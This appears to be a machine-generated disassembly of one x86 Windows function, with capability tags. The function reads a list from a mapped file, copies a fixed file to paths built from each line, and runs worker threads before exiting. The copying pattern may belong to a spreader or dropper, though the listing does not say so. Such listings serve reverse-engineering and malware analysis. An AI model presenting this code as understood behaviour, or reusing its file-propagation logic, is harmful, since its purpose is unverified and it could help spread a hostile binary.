Function at 0x403320
Capabilities:
Copy file
Create thread
Get file size
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x124c
call fcn.00409210
push ebx
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
push edi
push esi
mov dword [ebp - 0x1c], esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push edi
push edi
push edi
push 2
push edi
mov ebx, eax
push esi
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
push edi
push edi
push edi
push 4
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov dword [ebp - 0x10], eax
mov esi, eax
test ebx, ebx
jg 0x4033d9
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x63c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
xor esi, esi
test edi, edi
jle 0x4033b2
nop dword [eax + eax]
push dword [ebp + esi*4 - 0x63c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc esi
cmp esi, edi
jl 0x4033a0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, esi
mov edi, esi
sub ecx, eax
cmp ecx, ebx
jge 0x4033ee
cmp byte [esi], 0xd
je 0x4033ee
inc ecx
inc esi
cmp ecx, ebx
jl 0x4033e3
push 0xfe
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
xor ecx, ecx
mov dword [ebp - 8], eax
mov edx, esi
sub edx, edi
cmp edi, esi
cmova edx, ecx
test edx, edx
je 0x403429
mov ebx, eax
sub ebx, edi
mov al, byte [edi]
lea edi, [edi + 1]
inc ecx
mov byte [ebx + edi - 1], al
cmp ecx, edx
jb 0x403418
mov ebx, dword [ebp - 0x14]
mov edi, dword [ebp - 8]
push edi
mov byte [ecx + edi], 0
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push edi
call fcn.00403ab0
add esp, 8
push eax
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x40a670
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x40c430
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 1
lea eax, [ebp - 0x23c]
push eax
push 0x40c020
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
push 0x104
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov ecx, dword [ebp - 4]
shl ecx, 2
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
test eax, eax
je 0x403598
mov dword [eax + 0x100], 0
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x30], 0x5c
lea eax, [ebp - 0xa4c]
mov dword [ebp - 0x2e], 0x5c
mov dword [ebp - 0x2c], 0x3f
mov dword [ebp - 0x2a], 0x5c
push eax
mov dword [ebp - 0x28], 0
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push edi
call fcn.00403ab0
add esp, 8
push eax
lea eax, [ebp - 0xa4c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x40a674
lea eax, [ebp - 0xa4c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0xa4c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea eax, [ebp - 0x124c]
add eax, dword [ebp - 0xc]
push eax
push 0
push dword [ebp - 8]
push 0x403a20
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx - 0x63c], eax
test eax, eax
je 0x403598
inc dword [ebp - 4]
lea eax, [ebp - 0x63c]
push 0xffffffffffffffff
push 0
push eax
push 0x14
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push edi
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
add esi, 2
mov eax, esi
sub eax, dword [ebp - 0x10]
cmp eax, ebx
jl 0x4033d6
mov edi, dword [ebp - 4]
jmp 0x403380
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]